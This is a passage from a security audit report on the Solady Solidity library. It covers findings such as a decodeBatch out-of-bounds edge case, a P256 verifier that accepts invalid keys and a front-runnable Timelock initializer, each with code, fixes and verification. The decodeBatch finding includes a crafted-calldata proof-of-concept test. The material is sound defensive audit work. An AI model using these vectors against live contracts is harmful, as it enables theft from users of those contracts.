Severity: Medium Risk

Context: LibERC7579.sol#L168-L179

Description: The `decodeBatch()` function in the `LibERC7579` library decodes its `bytes calldata executionData` input into an array of `bytes32` pointers referencing `Call` structs, where each `Call` struct contains an `address target`, a `uint256 value`, and a `bytes data`. During decoding, the function includes several out-of-bounds checks to ensure all decoded data is fully contained within the `executionData`. This behavior is important for contracts using the library, such as the `Timelock` contract, where a separate issue was resolved by relying on `decodeBatch()` to revert if any pointers reference calldata outside the `executionData` bytes.

This is implemented in the following code, where `e` represents the end of the `executionData`. The code ensures that `add(c, 0x40)` (the end of the `Call` struct header values) and `add(o, calldataload(o))` (the end of the `bytes data` within the `Call` struct) do not exceed `e`:

```
let e := sub(add(executionData.offset, executionData.length), 0x20)
for { let i := pointers.length } 1 {} {
    i := sub(i, 1)
    let p := calldataload(add(pointers.offset, shl(5, i)))
    let c := add(pointers.offset, p)
    let q := calldataload(add(c, 0x40))
    let o := add(c, q)
    // forgefmt: disable-next-item
    if or(shr(64, or(calldataload(o), or(p, q))),
        or(gt(add(c, 0x40), e), gt(add(o, calldataload(o)), e))) {
        mstore(0x00, 0xba597e7e) // `DecodingError()`.
        revert(0x1c, 0x04)
    }
    if iszero(i) { break }
}
```

However, there is an edge case where `add(pointers.offset, shl(5, i))` (the location of the `Call` struct offset) can be past `e`. At first glance, it might seem unnecessary to check this, as an out-of-bounds offset location would likely result in `add(c, 0x40)` and `add(o, calldataload(o))` being out-of-bounds too. However, this assumption fails if multiple zero offsets all point to the same data, which results in the calldata being interpreted in multiple ways simultaneously while using minimal space.

For example, the following test case can be added to `LibERC7579.t.sol` to demonstrate the issue. The current implementation does not revert, even though the location of the offset for `pointers[3]` exceeds the end of the `executionData` bytes:

```
function testDecodeBatchEdgeCase2() public {
    (bool success,) = address(this).call(
        abi.encodePacked(
            bytes4(keccak256("propose2(bytes32,bytes,uint256)")),
            hex"0100000000007821000100000000000000000000000000000000000000000000",
            hex"0000000000000000000000000000000000000000000000000000000000000060", // offset to executionData
            _randomUniform(),
            uint256(32 * 5), // length of executionData (THIS SHOULD ACTUALLY BE 32 * 6 BUT WE REDUCE TO 32 * 5)
            hex"0000000000000000000000000000000000000000000000000000000000000020", // offset to pointers array
            hex"0000000000000000000000000000000000000000000000000000000000000004", // pointers array length
            hex"0000000000000000000000000000000000000000000000000000000000000000", // offset to pointers[0]
            hex"0000000000000000000000000000000000000000000000000000000000000000", // offset to pointers[1]
            hex"0000000000000000000000000000000000000000000000000000000000000000", // offset to pointers[2]
            hex"0000000000000000000000000000000000000000000000000000000000000000" // offset to pointers[3]
        )
    );
    assertFalse(success);
}

function propose2(bytes32, bytes calldata executionData, uint256)
    public
    pure
    returns (uint256)
{
    bytes32[] memory pointers = LibERC7579.decodeBatch(executionData);
    return pointers.length;
}
```

Recommendation: Add a check to ensure that for each `i`, `add(pointers.offset, shl(5, i))` is less than `e`.

Solady: Fixed in PR 1244.

Spearbit: Verified. The updated code now has an initial check to ensure the end of the `pointers` array is less than `e`, which fixes the issue.

5.4 Low Risk

5.4.1 P256 verifier allows invalid public keys

Severity: Low Risk

Context: P256.sol#L26

Description: The `P256` library contains a hardcoded `VERIFIER` address, which points to a Solidity contract used when the library is executing on a chain that does not support the RIP-7212 precompile. The `VERIFIER` essentially replicates the P256 signature verification behavior of the RIP-7212 precompile.

In the RIP-7212 specification, the following required check is listed:

> Verify that the point formed by `(x, y)` is on the curve and that both `x` and `y` are in `[0, p)` (inclusive 0, exclusive p) where `p` is the prime field modulus.

The current `VERIFIER` contract deployed at `0x000000000000cB83347bEB24C695BBb85dBe99b7` (which is based on the implementation in Vectorized's GitHub gist with id 599b0d8a) correctly checks that the point `(x, y)` lies on the

P256 curve, but it does not validate that the `x` and `y` coordinates are less than `p`.

Due to the verifier's modular arithmetic, this allows someone to supply `x + p` or `y + p` as coordinates instead of `x` or `y`. These invalid coordinates would pass verification, despite violating the RIP-7212 specification.

Fortunately, this issue appears unlikely to cause significant problems. Most contracts using the `P256` library store public keys during privileged calls, such as initialization, meaning invalid keys would generally require an admin error during setup. Also note that most public key do not have `x` or `y` coordinates that fit within 32 bytes when adding `p`, but it is possible to intentionally mine a private key that corresponds to a public key that allows such an addition.

Recommendation: Consider deploying a new `VERIFIER` implementation that validates both coordinates of the P256 public key are less than `p`. This can be accomplished with the following change:

```
  if iszero(
      and( // The arguments of and are evaluated last to first.
          and(
+             and(
                  and(gt(calldatasize(), 0x9f), and(lt(iszero(r), lt(r, n)), lt(iszero(s), lt(s, n)))),
+                 and(lt(Qx, p), lt(Qy, p))
+             ),
              eq(mulmod(Qy, Qy, p), addmod(mulmod(addmod(mulmod(Qx, Qx, p), mload(returndatasize()), p),
              ↪  Qx, p), B, p))
          ),
          and(
              // We need to check that the returndatasize is indeed 32,
              // so that we can return false if the chain does not have the modexp precompile.
              eq(returndatasize(), 0x20),
              staticcall(gas(), 0x05, 0x800, 0xc0, returndatasize(), 0x20)
          )
      )
  ) { return(0x80, 0x20) }
```

Solady: Fixed in PR 1275.

Spearbit: Verified.

5.4.2 Incorrect `MultiCallable` `results` length

Severity: Low Risk

Context: Multicallable.sol#L78

Description: In `MultiCallable._multicall`, we bitpack the `results` length as `m`:

```
results := or(shl(64, m), results) // Pack the bytes length into `results`.
```

However, this is not the correct length because `results` initially started at the beginning of free memory and `m` represents the current beginning of free memory. So the correct length would be `m - results`.

This incorrect length works with `_multicallResultsToBytesArray` because it doesn't use the length and `_multicallDirectReturn` returns abi decodable data, but there are still two problems with this:

1. In case an inheriting contract uses assembly to decode the `results` directly from `_multicall`, the inaccurate length will result in the returned array ending in empty `bytes` elements.
2. It should be more gas efficient overall to provide the correct length since we have less return data to copy.

Recommendation: Make the following change to the way the `results` length is set:

```
- results := or(shl(64, m), results) // Pack the bytes length into `results`.
+ results := or(shl(64, sub(m, results)), results) // Pack the bytes length into `results`.
```

Solady: Fixed in PR 1282.

Spearbit: Verified.

5.4.3 Revert message can be overwritten by return data

Severity: Low Risk

Context: Lifebuoy.sol#L158-L164, Lifebuoy.sol#L239-L243

Description: In `Lifebuoy.rescueERC20` and `Lifebuoy.rescueERC6909`, in case the transfer fails, we intend to revert with the `RescueTransferFailed()` error at 0x0c in memory:

```
// Perform the transfer, reverting upon failure.
if iszero(
    and( // The arguments of `and` are evaluated from right to left.
        or(eq(mload(0x00), 1), iszero(returndatasize())), // Returned 1 or nothing.
        call(gas(), token, callvalue(), 0x10, 0x44, 0x00, 0x20)
    )
) { revert(0x0c, 0x04) }
```

However, since the `retOffset` and `retSize` provided are 0x00 and 0x20, respectively, in case the call has non-zero `returndatasize`, e.g. by returning `false`, we will overwrite the memory where the revert message is stored, causing the revert message to be incorrect.

Recommendation: To avoid overwriting the revert message in memory, use a higher `retOffset` for the call, e.g. 0x10, being careful not to set it too high, to prevent overwriting the free memory pointer:

```
  // Perform the transfer, reverting upon failure.
  if iszero(
      and( // The arguments of `and` are evaluated from right to left.
          or(eq(mload(0x00), 1), iszero(returndatasize())), // Returned 1 or nothing.
-         call(gas(), token, callvalue(), 0x10, 0x44, 0x00, 0x20)
+         call(gas(), token, callvalue(), 0x10, 0x44, 0x10, 0x20)
      )
  ) { revert(0x0c, 0x04) }
```

Solady: Fixed in PR 1225.

Spearbit: Verified.

5.4.4 Revert data is not always differentiated from successful return data

Severity: Low Risk

Context: UUPSUpgradeable.sol#L90

Description: In some parts of the Solady codebase, low-level calls directly pass their boolean result into an `mload()` to read the call's return data. For example, in the `UUPSUpgradeable` contract, the `upgradeToAndCall()` function contains the following logic:

```
let s := _ERC1967_IMPLEMENTATION_SLOT
// Check if `newImplementation` implements `proxiableUUID` correctly.
if iszero(eq(mload(staticcall(gas(), newImplementation, 0x1d, 0x04, 0x01, 0x20)), s)) {
    mstore(0x01, 0x55299b49) // `UpgradeFailed()`.
    revert(0x1d, 0x04)
}
```

In this implementation, the `staticcall()` places 32 bytes of returndata (from either a successful return or a revert) into memory at `0x01`. If the call succeeds, `mload(0x01)` reads the returndata and checks it against `s`. If the call reverts, the assumption is that `mload(0x00)` will read a malformed return value that won't match `s`.

However, this assumption is not necessarily valid. If the memory at `0x00` already matches the first byte of `s` before the `staticcall()` executes, and the error message returned by the `staticcall()` equals `s` shifted left by one byte, then `mload(0x00)` could still match `s`, even though the call reverted. This may be unlikely, but it could lead to unexpected behavior if it happens.

This issue is also a concern in the `DelegateCheckerLib`. However, in that case, the low-level calls are made to two fixed addresses, and the implementations at those addresses do not seem to have the conditions where this would be problematic.

Recommendation: Consider eliminating this behavior by explicitly checking that low-level calls succeed when necessary.

Solady: Fixed in PR 1279 and PR 1296.

Spearbit: Verified. Before the `staticcall()` executes, there is now an `mstore(0x00, returndatasize())`. Since the most significant byte of `returndatasize()` would be zero (as a non-zero value would imply an infeasibly large size from the last call), the memory in `0x00` will never match the first byte of `s` (which is `0x36`) and therefore a revert followed by `mload(0x00)` can never successfully match `s`.

5.4.5 `SignatureCheckerLib` ignores OOG errors from identity precompile

Severity: Low Risk

Context: SignatureCheckerLib.sol#L69-L71

Description: Throughout the `SignatureCheckerLib` library, there are functions that use the identity precompile to efficiently copy `signature` bytes to specific areas of memory. In all instances of this, the boolean return value of the low-level call to the precompile is ignored using `pop()`. For example:

```
pop(staticcall(gas(), 4, signature, n, add(m, 0x44), n))
isValid := staticcall(gas(), signer, m, add(returndatasize(), 0x44), d, 0x20)
isValid := and(eq(mload(d), f), isValid)
```

Since the identity precompile gas cost depends on its input size, and since EIP-150 only forwards 63/64 of the remaining gas to the precompile call, it is technically possible for the precompile call to revert with an out-of-gas error while the rest of the function has enough gas to continue. This may be triggered intentionally if a user supplies a large `signature` and forwards slightly less gas than required for the precompile to succeed.

If this happens, the call to `isValidSignature()` would be forwarded an empty `signature`. Fortunately, this is unlikely to be an issue, because a potential attacker could directly pass an empty `signature` in the first place, so there is nothing to gain from doing this. Moreover, if the signer's `isValidSignature()` function is implemented using a recent version of Solidity, it's likely to revert when decoding the empty `signature` since the calldata size does not match what would be expected.

Recommendation: Consider updating the `SignatureCheckerLib` to enforce that the identity precompile calls succeed. For example:

```diff
- pop(staticcall(gas(), 4, signature, n, add(m, 0x44), n))
- isValid := staticcall(gas(), signer, m, add(returndatasize(), 0x44), d, 0x20)
+ isValid := staticcall(gas(), 4, signature, n, add(m, 0x44), n)
+ isValid := and(isValid, staticcall(gas(), signer, m, add(returndatasize(), 0x44), d, 0x20))
  isValid := and(eq(mload(d), f), isValid)
```

Solady: Fixed in PR 1271 and PR 1284.

Spearbit: Verified.

5.4.6 `_initializableSlot()` should not be overriden to return zero slot

Severity: Low Risk

Context: Initializable.sol#L46-L49

Description: The Initializable contract stores its state in the storage slot returned by the _initializableSlot() function, which can be overridden to return a custom storage slot instead of the default _INITIALIZABLE_SLOT:

```
/// @dev The default initializable slot is given by:
/// `bytes32(~uint256(uint32(bytes4(keccak256("_INITIALIZABLE_SLOT")))))`.
///
/// Bits Layout:
/// - [0]      `initializing`
/// - [1..64] `initializedVersion`
bytes32 private constant _INITIALIZABLE_SLOT =
    0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffbf601132;

/// @dev Override to return a custom storage slot if required.
function _initializableSlot() internal pure virtual returns (bytes32) {
    return _INITIALIZABLE_SLOT;
}
```

However, note that overriding _initializableSlot() to return the zero slot would lead to unexpected behavior. This is because the initializer() modifier reuses the s variable (which is initially set to _initializableSlot()) to track whether the logic after the control-flow return should execute:

```
modifier initializer() virtual {
    bytes32 s = _initializableSlot();
    // ...
    assembly {
        // ...
        if i {
            // ...
            s := shl(shl(255, i), s) // Skip initializing if `initializing == 1`.
        }
    }
    _;
    // ...
    assembly {
        if s {
            // ...
        }
    }
}
```

Recommendation: Consider documenting this behavior above the _initializableSlot() function to warn against returning the zero slot. Alternatively, consider changing the initializer() modifier to use a separate variable for tracking whether the logic after the control-flow return should execute.

Solady: Fixed in PR 1281.

Spearbit: Verified. A check that _initializableSlot() != bytes32(0) has been added in the contract's constructor, and a warning comment is now above the _initializableSlot() function.

5.4.7 SafeTransferLib.permit2 is not capable of revoking approvals for DAI

Severity: Low Risk

Context: SafeTransferLib.sol#L473

Description: The SafeTransferLib.permit2 method acts as a gas optimized dispatcher to the ERC2612 permit method which can additionally fall back to calling Uniswap's Permit2 to submit a previously signed approval adhering to either the ERC2612 standard or Uniswap's Permit2 permit format.

On top of supporting these two types of signed approvals the library additionally has support for the DAI token which has its own signed approval format that does not adhere to the ERC2612 standard.

Under the ERC2612 standard the approval submission method must have the signature `permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s)`, allowing you to set any arbitrary approval via the `amount` field. This includes `0` which can be useful to **revoke** approvals from contracts via a signed request.

The DAI token contract however has a function `permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s)` which takes a boolean value `allowed` that sets the desired allowance to `0` or `2**256 - 1` based on whether it's `true` or `false`.

However the way the `permit2` function sets the `allowed` parameter is based on the success of the call to DAI's `nonces` method:

```
if eq(mload(0x00), DAI_DOMAIN_SEPARATOR) {
    mstore(0x14, owner)
    mstore(0x00, 0x7ecebe000000000000000000000000000) // `nonces(address)`.

    // Sets `allowed` parameter based on whether the call to `nonces` succeeded
    mstore(add(m, 0x94), staticcall(gas(), token, 0x10, 0x24, add(m, 0x54), 0x20))

    mstore(m, 0x8fcbaf0c00000000000000000000000000) // `IDAIPermit.permit`.
    // `nonces` is already at `add(m, 0x54)`.
    // `1` is already stored at `add(m, 0x94)`.
    mstore(add(m, 0xb4), and(0xff, v))
    mstore(add(m, 0xd4), r)
    mstore(add(m, 0xf4), s)
    success := call(gas(), token, 0, add(m, 0x10), 0x104, codesize(), 0x00)
    break
}
```

If the `staticcall` succeeds the opcode's result will be `1`, the binary representation of `true`. Therefore the only way to revoke an approval via DAI's permit is to have the call fail, however for DAI the `nonces` method is a simple mapping getter:

```
mapping (address => uint) public nonces;
```

Meaning it can only via an OOG error which is not possible to achieve without making the subsequent call to the actual `permit` method fail as well. This means that regardless of the `amount` specified to the `permit2` function you cannot use it to revoke an approval for DAI.

Recommendation: Make the `allowed` value independent of the success of the call to the `nonces` getter, instead have `allowed = 1` if `amount > 0` and `allowed = 0` if `amount = 0` to have the method behave in the most intuitive & expected way for DAI. Alternatively remove the special handling for DAI in the `permit2` function.

Solady: Addressed in PR 1298.

Spearbit: Verified. The DAI permit call now sets `allowed = 1` only if `amount > 0` and the call to `nonces()` succeeds. Therefore, passing `amount = 0` will set `allowed = 0` and revoke the approval.

5.4.8 `Timelock.initialize()`: Current implementation is front-runnable

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `Timelock` contract is not inheriting `UUPSUpgradeable`, has no `constructor` but rather relies on an `initialize()` function instead. Naturally, this means that such function should verify two things:

1. It can not be called more than once (unless in an upgradeable context) - which is handled correctly.
2. It is not front-runnable.

The second requirement is usually solved by using a factory contract for the initialization of the contract or alternatively by using it as an implementation contract through a proxy (so that the proxy storage is used instead). These two techniques will make sure that the construction and initialization are atomic and thus that `initialize()` can not be front-ran by attackers adding their own addresses for the privileged users lists.

`Timelock` will be probably used by many projects which may not be aware of this attack vector and will use this contract as is and therefore will be exposed to this vulnerability.

Recommendation: Consider either replacing the `initialize()` function with a constructor or at least warn users about this potential caveat.

Solady: Addressed in PR 1302.

Spearbit: Verified. A new function named `_initializeTimelockAuthorizationCheck()` has been added and is called within the `initialize()` function. This function ensures that `initialize()` is either called through a delegatecall (in which case frontrunning is less of a concern as `initialize()` is likely being called atomically) or that the caller of `initialize()` is the `msg.sender` or the `tx.origin` from when the contract was deployed.

5.5 Gas Optimization

5.5.1 Off by one error while copying array

Severity: Gas Optimization

Context: *(No context files were provided by the reviewer)*

Relevant Context: DynamicArrayLib.sol#L241-L249

Description: In `DynamicArrayLib.slice(uint256[] memory a, uint256 start, uint256 end)`, we copy the provided `a` array to the `result` array backwards, one word at a time, starting at `o`:

```
a := add(a, shl(5, start))
// Copy the `a` one word at a time, backwards.
let o := add(shl(5, resultLen), 0x20)
mstore(0x40, add(result, o)) // Allocate memory.
for {} 1 {} {
    mstore(add(result, o), mload(add(a, o)))
    o := sub(o, 0x20)
    if iszero(o) { break }
}
```

The problem with this is that we're actually starting our iteration at the element after the last element which we intend to copy over. Luckily this isn't a significant problem since we still iterate down to the correct first element and set the `result` length correctly so that we always return the correct array. Regardless, this additional iteration is redundant and should be removed.

Recommendation: Fix the logic to start iterating at the correct element, ensuring that memory is still correctly allocated, as follows:

```diff
  a := add(a, shl(5, start))
  // Copy the `a` one word at a time, backwards.
- let o := add(shl(5, resultLen), 0x20)
+ let o := shl(5, resultLen)
- mstore(0x40, add(result, o)) // Allocate memory.
+ mstore(0x40, add(add(result, o), 0x20)) // Allocate memory.
  for {} 1 {} {
      mstore(add(result, o), mload(add(a, o)))
      o := sub(o, 0x20)
      if iszero(o) { break }
  }
```

Solady: Fixed in PR 1232.

Spearbit: Verified.

5.5.2 Redundant storage slot clearing

Severity: Gas Optimization

Context: EnumerableSetLib.sol#L409-L416

Description: In the `AddressSet` and `Bytes32Set` `EnumerableSetLib.remove` methods, if the element to remove is not the last element in the set, we use a swap and pop removal mechanism:

```
if iszero(eq(sub(position, 1), n)) {
    let lastValue := shr(96, sload(add(rootSlot, n)))
    sstore(add(rootSlot, sub(position, 1)), shl(96, lastValue))
    sstore(add(rootSlot, n), 0)
    mstore(0x00, lastValue)
    sstore(keccak256(0x00, 0x40), position)
}
sstore(rootSlot, or(shl(96, shr(96, sload(rootSlot))), or(shl(1, n), 1)))
```

In the case that we're removing the last value from the set, we don't clear the slot pertaining to that value. This is safe to do because whenever we add values, we overwrite the entire slot with the new value, and when we read individual indexes or all values from the set, we never exceed the length of the set.

Since it's safe to leave the removed last value, we also don't have to clear the slot pertaining to the last value in case we move it to the slot of the value we're replacing, thus we can leave the slot at `add(rootSlot, n)` as is.

Recommendation: Remove the redundant slot clearing `sstore` of the removed last value:

```diff
  if iszero(eq(sub(position, 1), n)) {
      let lastValue := shr(96, sload(add(rootSlot, n)))
      sstore(add(rootSlot, sub(position, 1)), shl(96, lastValue))
-     sstore(add(rootSlot, n), 0)
      mstore(0x00, lastValue)
      sstore(keccak256(0x00, 0x40), position)
  }
  sstore(rootSlot, or(shl(96, shr(96, sload(rootSlot))), or(shl(1, n), 1)))
```

Solady: Fixed in PR 1287.

Spearbit: Verified.

5.5.3 Use `mcopy` instead of the `identity` precompile

Severity: Gas Optimization

Context: ERC721.sol#L896, LibClone.sol

Description: In `ERC721.sol` and `LibClone.sol`, we use the `identity` precompile to copy chunks of memory, e.g.:

```
pop(staticcall(gas(), 4, add(args, 0x20), n, add(m, 0x43), n))
```

However, as of the `cancun` EVM version, the `mcopy` opcode is available to perform this same operation for a fraction of the cost.

Recommendation: Add support for `cancun`, and replace calls to the `identity` precompile with `mcopy`, e.g.:

```diff
- pop(staticcall(gas(), 4, add(args, 0x20), n, add(m, 0x43), n))
+ mcopy(add(m, 0x43), add(args, 0x20), n)
```

Note that we use this pattern in several functions in `LibClone.sol`.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.5.4 Use transient storage in `Initializable.sol`

Severity: Gas Optimization

Context: Initializable.sol#L83, Initializable.sol#L115

Description: In the `initializer` and `reinitializer` modifiers of `Initializable.sol`, we keep track of an `initializing` value in storage which is always cleared after the function execution:

```
// Set `initializing` to 0, `initializedVersion` to 1.
sstore(s, 2)
```

Since this value is always cleared and is only needed transiently, we can instead use transient storage to keep track of its state, improving gas efficiency.

Recommendation: In place of setting the `initializing` bit in storage, set this value in transient storage before the function execution, and reset it afterwards, removing the extra `sstore` used solely to reset this value.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.5.5 `RedBlackTreeLib` redundant computation in fixup case

Severity: Gas Optimization

Context: RedBlackTreeLib.sol#L458-L471

Description: In the `RedBlackTreeLib`, the following fixup case performs either 1 or 2 rotations on the tree:

```
if iszero(and(BR, cPacked_)) {
    if eq(key_, getKey(parentPacked_, R)) {
        key_ := parent_
        rotate(nodes_, key_, L, R)
    }
    parent_ := getKey(sload(or(nodes_, key_)), _BITPOS_PARENT)
    parentPacked_ := sload(or(nodes_, parent_))
    sstore(or(nodes_, parent_), and(parentPacked_, not(BR)))
    grandParent_ := getKey(parentPacked_, _BITPOS_PARENT)
    let s_ := or(nodes_, grandParent_)
    sstore(s_, or(sload(s_), BR))
    rotate(nodes_, grandParent_, R, L)
    continue
}
```

Note that if the `eq(key_, getKey(parentPacked_, R))` condition is true, it indicates that `key_` is an inner grandchild of the `grandParent_`. The logic in this subcase does a rotation and swaps the locations of `parent_` and `key_` to make `key_` an outer grandchild. While the implementation does this correctly, there are two inefficiencies in the code surrounding this logic:

1. If the initial rotation does not occur, the `parent_` remains unchanged, and so recalculating it outside the conditional is unnecessary.
2. Regardless of whether this initial rotation happens or not, the `grandParent_` never changes relative to the `key_`, so there is never a need to recompute it.

Recommendation: Consider addressing these inefficiencies by moving the recalculation of `parent_` and `parentPacked_` into the conditional, and by removing the recalculation of `grandParent_`:

```
  if iszero(and(BR, cPacked_)) {
      if eq(key_, getKey(parentPacked_, R)) {
          key_ := parent_
          rotate(nodes_, key_, L, R)
+         parent_ := getKey(sload(or(nodes_, key_)), _BITPOS_PARENT)
+         parentPacked_ := sload(or(nodes_, parent_))
      }
-     parent_ := getKey(sload(or(nodes_, key_)), _BITPOS_PARENT)
-     parentPacked_ := sload(or(nodes_, parent_))
      sstore(or(nodes_, parent_), and(parentPacked_, not(BR)))
-     grandParent_ := getKey(parentPacked_, _BITPOS_PARENT)
      let s_ := or(nodes_, grandParent_)
      sstore(s_, or(sload(s_), BR))
      rotate(nodes_, grandParent_, R, L)
      continue // @audit: this should actually be a break
  }
```

Solady: Fixed in PR 1288.

Spearbit: Verified.

5.5.6 Redundant `extcodesize` checks

Severity: Gas Optimization

Context: Lifebuoy.sol#L188, Lifebuoy.sol#L217

Description: In the `Lifebuoy.rescueERC721` and `Lifebuoy.rescueERC1155` functions, we include `extcodesize` checks on the tokens to be rescued, reverting if the provided `token` does not have code:

```
if iszero(
    mul(extcodesize(token), call(gas(), token, callvalue(), 0x1c, 0x64, codesize(), 0x00))
) { revert(0x18, 0x04) }
```

However, this validation is redundant since these functions are authorized by `onlyRescuer` and there wouldn't be any risk to calling an EOA regardless.

Recommendation: Remove the redundant `extcodesize` check:

```
  if iszero(
-     mul(extcodesize(token), call(gas(), token, callvalue(), 0x1c, 0x64, codesize(), 0x00))
+     call(gas(), token, callvalue(), 0x1c, 0x64, codesize(), 0x00)
  ) { revert(0x18, 0x04) }
```

Solady: Fixed in PR 1225.

Spearbit: Verified.

5.5.7 `EIP712.sol` proxy implementation inefficiency

Severity: Gas Optimization

Context: EIP712.sol#L39

Description: `EIP712.sol` optimizes the process of building the domain separator by caching it as an immutable as long as `_domainNameAndVersionMayChange()` returns `false`:

```
function _domainSeparator() internal view virtual returns (bytes32 separator) {
    if (_domainNameAndVersionMayChange()) {
        separator = _buildDomainSeparator();
    } else {
        separator = _cachedDomainSeparator;
        if (_cachedDomainSeparatorInvalidated()) separator = _buildDomainSeparator();
    }
}
```

To prevent unsafe edge cases, we validate that the cached domain separator is valid:

```
function _cachedDomainSeparatorInvalidated() private view returns (bool result) {
    uint256 cachedChainId = _cachedChainId;
    uint256 cachedThis = _cachedThis;
    /// @solidity memory-safe-assembly
    assembly {
        result := iszero(and(eq(chainid(), cachedChainId), eq(address(), cachedThis)))
    }
}
```

In the case this contract is used via a proxy, the immutables will be read from the implementation contract. This is most relevant in the case of the `_cachedThis` immutable, which will be the implementation address rather than the proxy address. As a result, when using a proxy, `_cachedDomainSeparatorInvalidated` will always return `true`, requiring the domain separator to be rebuilt from scratch.

Knowing that we will have to rebuild the domain separator every time, similarly to how we use `_domainNameAndVersionMayChange`, in case we're using the contract as a proxy implementation, we should skip the `_cachedDomainSeparatorInvalidated` check.

Recommendation: Extend `_domainNameAndVersionMayChange` to also be overridden to return `true` in case the contract is intended to be used as a proxy implementation. Include documentation, and perhaps a function name change, to indicate this additional case in which it should return `true`.

Solady: Acknowledged.

5.5.8 Redundant `returndatasize` check when validating `owner`

Severity: Gas Optimization

Context: Lifebuoy.sol#L307, EnumerableRoles.sol#L300

Description: In `Lifebuoy._checkRescuer` and `EnumerableRoles._senderIsContractOwner`, we make a call to retrieve the contract `owner()` and compare it against the `caller`. In each of these cases, we include a check that the `returndatasize` is at least 32 bytes:

```
and(gt(returndatasize(), 0x1f), eq(mload(0x00), caller()))
```

Since `caller()` will always return a valid address of the `msg.sender`, regardless of the `returndatasize`, the return data must match the `caller` exactly. Note that `eq` will compare the entire word of each stack item, so if e.g. the call returns a 4 byte error and the last 4 bytes of `caller` match the error, we will still revert since the rest of the address doesn't match.

Recommendation: Remove the redundant `returndatasize` check:

```diff
- and(gt(returndatasize(), 0x1f), eq(mload(0x00), caller()))
+ eq(mload(0x00), caller())
```

Solady: Acknowledged.

Spearbit: Acknowledged.

5.5.9 `argsOnClone` optimization

Severity: Gas Optimization

Context: *(No context files were provided by the reviewer)*

Relevant Context: LibClone.sol#L673-L674

Description: In `LibClone.argsOnClone(address instance, uint256 start)`, we perform an `extcodecopy` to copy from the given offset of the `instance` to `args`, storing the length immediately afterwards:

```
extcodecopy(instance, add(args, 0x20), add(start, 0x2d), add(n, 0x20))
mstore(args, mul(sub(n, start), lt(start, n))) // Store the length.
```

Since we're immediately overwriting the first word of `args` with the length, we can drop an `add` opcode by copying starting at `args` instead of `add(args, 0x20)`, reducing the offset to copy from by one word and increasing the length to copy by one word. The result of this is that we copy all the same values but also a value before the intended offset, which is immediately overwritten by the length, saving 3 gas.

Recommendation: Drop the `add` used to compute the `destOffset`, instead using `args` directly, then reduce the `offset` by one word and increase the `size` by one word, accordingly:

```diff
- extcodecopy(instance, add(args, 0x20), add(start, 0x2d), add(n, 0x20))
+ extcodecopy(instance, args, add(start, 0x0d), add(n, 0x40))
  mstore(args, mul(sub(n, start), lt(start, n))) // Store the length.
```

Solady: Fixed in PR 1286.

Spearbit: Verified.

5.5.10 Computing ERC-712 `DOMAIN_SEPARATOR` at runtime

Severity: Gas Optimization

Context: ERC20.sol#L429-L434,ERC20.sol#L478-L486, ERC20Votes.sol#L173-L178

Description: In the referenced contracts the ERC-712 domain separator is computed at runtime, however since it depends on values that rarely change such as contract address, chain ID, version and name string it should be computed once at initialization and stored for later reference as an immutable value.

Recommendation: Use Solady's `EIP712.sol` implementation to handle the computation and caching of domain separators.

Solady: Acknowledged. Leaving as is for simplicity.

Spearbit: Acknowledged.

5.5.11 Redundant bitwise shift operations

Severity: Gas Optimization

Context: Initializable.sol#L101-L117

Description: In the following code, the `shr` & `shl` operations are redundant:

```
assembly {
    version := and(version, 0xffffffffffffffff) // Clean upper bits.
    let i := sload(s)
    // If `initializing == 1 || initializedVersion >= version`.
    if iszero(lt(and(i, 1), lt(shr(1, i), version))) {
        mstore(0x00, 0xf92ee8a9) // `InvalidInitialization()`.
        revert(0x1c, 0x04)
    }
    // Set `initializing` to 1, `initializedVersion` to `version`.
    sstore(s, or(1, shl(1, version)))
}
_;
/// @solidity memory-safe-assembly
assembly {
    // Set `initializing` to 0, `initializedVersion` to `version`.
    sstore(s, shl(1, version))
    // Emit the {Initialized} event.
    mstore(0x20, version)
    log1(0x20, 0x20, _INTIALIZED_EVENT_SIGNATURE)
}
```

A single `shl` at the beginning is sufficient with a final `shr` for the event data.

Recommendation: Consider changing the code to:

```
bytes32 s = _initializableSlot();
/// @solidity memory-safe-assembly
assembly {
    version := shl(1, and(version, 0xffffffffffffffff)) // Clean upper bits.
    let i := sload(s)
    // If `initializing == 1 || initializedVersion >= version`.
    if iszero(lt(and(i, 1), lt(i, version))) {
        mstore(0x00, 0xf92ee8a9) // `InvalidInitialization()`.
        revert(0x1c, 0x04)
    }
    // Set `initializing` to 1, `initializedVersion` to `version`.
    sstore(s, or(1, version))
}
_;
/// @solidity memory-safe-assembly
assembly {
    // Set `initializing` to 0, `initializedVersion` to `version`.
    sstore(s, version)
    // Emit the {Initialized} event.
    mstore(0x20, shr(1, version))
    log1(0x20, 0x20, _INTIALIZED_EVENT_SIGNATURE)
}
```

Solady: Addressed in PR 1258.

Spearbit: Verified.

5.6 Informational

5.6.1 Unclear lookup behavior in `ERC20Votes`

Severity: Informational

Context: ERC20Votes.sol#L436-L443

Description: In the `ERC20Votes` contract, checkpoints of voting power are stored to enable queries about past voting power state. Based on the comments in the codebase, the functions appear to exclude checkpoints *equal* to the queried timepoint, instead searching for checkpoints with strictly smaller keys. For example:

```
/// @dev Returns the value in the checkpoints with the largest key that is less than `key`.
function _checkpointUpperLookupRecent(uint256 lengthSlot, uint256 key)
```

```
/// @dev Returns the latest amount of voting units `account` has before `timepoint`.
function getPastVotes(address account, uint256 timepoint)
```

```
/// @dev Returns the latest amount of total voting units before `timepoint`.
function getPastVotesTotalSupply(uint256 timepoint) public view virtual returns (uint256) {
```

However, the current checkpoint lookup implementation can return exact matches to the queried timepoint, so keys are not required to be strictly smaller. It is unclear whether this discrepancy is because the code is incorrect, or because the comments are ambiguous. Allowing or disallowing exact matches both appear to be valid design choices, especially since ERC-5805 does not mandate a specific behavior for this scenario.

Recommendation: Consider whether exact matches should be returned for `ERC20Votes` queries. If exact matches should not be returned and this represents a problem in the code, consider changing the following >= to > in the binary search logic:

```
  for {} lt(l, h) {} {
      let m := shr(1, add(l, h)) // Won't overflow in practice.
-     if iszero(lt(key, and(sload(add(m, lengthSlot)), 0xffffffffffff))) {
+     if gt(key, and(sload(add(m, lengthSlot)), 0xffffffffffff)) {
          l := add(1, m)
          continue
      }
      h := m
  }
```

